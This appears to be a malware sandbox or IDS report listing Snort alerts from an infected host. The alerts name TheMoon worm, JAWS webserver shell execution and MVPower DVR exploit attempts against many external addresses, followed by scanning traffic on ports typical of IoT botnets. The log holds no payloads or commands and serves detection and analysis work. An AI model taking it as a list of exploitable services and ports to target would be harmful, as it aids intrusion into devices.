Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43728 -> 172.105.54.67:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57826 -> 172.65.62.207:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45740 -> 172.65.51.33:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:41738 -> 172.65.10.116:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55304 -> 172.64.167.68:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.230.206:80 -> 192.168.2.23:40054 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43322 -> 98.202.182.105:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51922 -> 34.120.197.71:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43704 -> 151.80.213.29:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60328 -> 23.195.127.87:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.195.127.87:80 -> 192.168.2.23:60328 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60328 -> 23.195.127.87:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54874 -> 18.217.184.96:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44798 -> 129.219.51.35:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46376 -> 104.233.221.163:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34704 -> 18.208.91.46:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45666 -> 18.118.43.219:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47556 -> 52.65.85.245:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44706 -> 104.110.127.124:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46376 -> 104.233.221.163:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44904 -> 209.147.191.115:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34704 -> 18.208.91.46:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50732 -> 156.235.208.202:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39906 -> 156.232.193.200:80 |
Source: Traffic | Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 212.251.176.117: -> 192.168.2.23: |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40326 -> 213.188.209.60:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.110.127.124:80 -> 192.168.2.23:44706 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44706 -> 104.110.127.124:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48672 -> 47.108.115.37:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57380 -> 193.136.164.12:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53262 -> 200.17.211.166:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38182 -> 37.98.210.231:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46260 -> 23.77.142.60:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50732 -> 156.235.208.202:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39906 -> 156.232.193.200:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46786 -> 166.78.145.29:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:46908 -> 172.65.42.109:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34456 -> 172.65.161.3:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:52618 -> 172.67.250.142:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58674 -> 185.168.108.151:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41882 -> 186.96.33.234:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47610 -> 179.188.47.153:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.77.142.60:80 -> 192.168.2.23:46260 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41882 -> 186.96.33.234:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56764 -> 164.88.44.51:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33450 -> 172.220.226.66:8080 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47610 -> 179.188.47.153:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38780 -> 184.96.162.23:8080 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56764 -> 164.88.44.51:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35798 -> 174.48.187.118:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51024 -> 40.119.233.88:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60022 -> 121.22.239.45:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58884 -> 23.194.198.101:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33706 -> 157.230.120.30:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.194.198.101:80 -> 192.168.2.23:58884 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58884 -> 23.194.198.101:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33706 -> 157.230.120.30:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45198 -> 49.233.242.40:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56232 -> 143.204.150.240:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50382 -> 200.55.44.251:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33030 -> 178.20.147.123:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60202 -> 35.209.3.234:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58988 -> 52.91.29.70:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49464 -> 203.96.176.63:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35798 -> 174.48.187.118:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56232 -> 143.204.150.240:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56288 -> 107.148.108.83:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58988 -> 52.91.29.70:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45198 -> 49.233.242.40:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50382 -> 200.55.44.251:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53336 -> 23.248.218.156:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56288 -> 107.148.108.83:80 |
Source: Traffic | Snort IDS: 1251 INFO TELNET Bad Login 14.170.163.90:23 -> 192.168.2.23:59588 |
Source: Traffic | Snort IDS: 718 INFO TELNET login incorrect 14.170.163.90:23 -> 192.168.2.23:59588 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32910 -> 50.18.209.211:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56908 -> 194.152.6.115:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48502 -> 159.65.190.189:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42932 -> 34.197.130.222:80 |
Source: unknown | Network traffic detected: HTTP traffic on port 60666 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50374 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 47544 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 37104 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59022 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 51132 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 51522 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 38688 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 52800 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 33024 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 33462 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 45436 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 39406 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40200 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43630 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 45032 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40306 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60446 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 46722 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 60962 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 57852 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 45634 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42406 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 51476 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 43134 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 43134 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 42406 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 42406 |
Source: unknown | Network traffic detected: HTTP traffic on port 53646 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 36692 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 34474 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59828 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34484 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42342 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 46520 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 55330 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50524 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34474 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34484 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59828 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34474 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 44658 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42386 |
Source: unknown | Network traffic detected: HTTP traffic on port 57514 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59900 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 53678 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34474 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42414 |
Source: unknown | Network traffic detected: HTTP traffic on port 60528 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42544 |
Source: unknown | Network traffic detected: HTTP traffic on port 59252 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42562 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42614 |
Source: unknown | Network traffic detected: HTTP traffic on port 57764 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 58166 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42628 |
Source: unknown | Network traffic detected: HTTP traffic on port 55070 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 5555 -> 55070 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42662 |
Source: unknown | Network traffic detected: HTTP traffic on port 58218 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 58874 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52854 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 51076 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 53598 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49612 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42678 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42698 |
Source: unknown | Network traffic detected: HTTP traffic on port 45436 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 39074 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 57264 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 42706 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 42932 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 42932 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 34474 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43150 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50120 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49774 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52740 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59486 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 39956 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52506 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 49754 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 44644 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52200 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 55016 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42932 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 33826 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 60146 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34382 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52172 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52540 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 45998 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 38106 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 57998 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 57168 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 55750 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 48894 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 49330 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49420 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42932 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 39726 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49360 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 54774 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49420 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40486 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42126 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 34462 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49744 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60796 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 36564 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43916 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60528 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 45014 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50246 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43714 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50146 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 36332 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 39668 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52680 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 47772 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 50992 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50322 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 37568 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 53868 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50992 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 32770 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 47362 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 34474 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60412 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52618 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42932 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 35988 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 36132 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 40524 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40366 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 44130 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42434 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40890 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 58110 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 38418 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 36132 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59768 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 57900 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 32926 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 35988 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 35988 |
Source: unknown | Network traffic detected: HTTP traffic on port 40362 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49652 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 33306 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60594 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52250 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52750 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60594 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 51900 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 41810 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 53634 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 44996 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40362 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 41568 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 60594 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 41568 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 46402 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 56514 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 46784 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43050 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52064 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40362 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 41568 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 56514 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 35220 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 36196 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40824 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60594 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 56514 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 48684 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 41426 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 60348 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 46402 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 60348 |
Source: unknown | Network traffic detected: HTTP traffic on port 48684 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 54460 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 48628 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 37982 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 48684 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 55686 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 53356 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 35190 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 45030 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50748 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 56514 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 35190 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 42932 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 58926 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 40362 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48628 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 35190 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 41980 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 55716 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 46532 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 36572 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48100 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48628 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 35190 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60594 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 59540 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48684 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 44082 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 50790 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 1723 -> 44082 |
Source: unknown | Network traffic detected: HTTP traffic on port 46532 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 36572 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48672 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 48628 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 56514 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 58364 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 58978 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 60340 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 58978 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 59314 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 58654 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 44036 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59498 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 48684 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 55084 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60160 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 47698 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 44036 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 41980 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 60340 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 48628 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 58654 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 58978 -> 37215 |
Source: unknown | Network traffic detected: HTTP traffic on port 48514 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 40362 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 39860 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 47252 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43202 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 59230 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 1723 -> 59230 |
Source: unknown | Network traffic detected: HTTP traffic on port 48288 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 53122 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 60340 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 53122 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 48288 |
Source: unknown | Network traffic detected: HTTP traffic on port 58654 -> 5555 |
Source: unknown | Network traffic detected: HTTP traffic on port 46040 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 35328 -> 52869 |
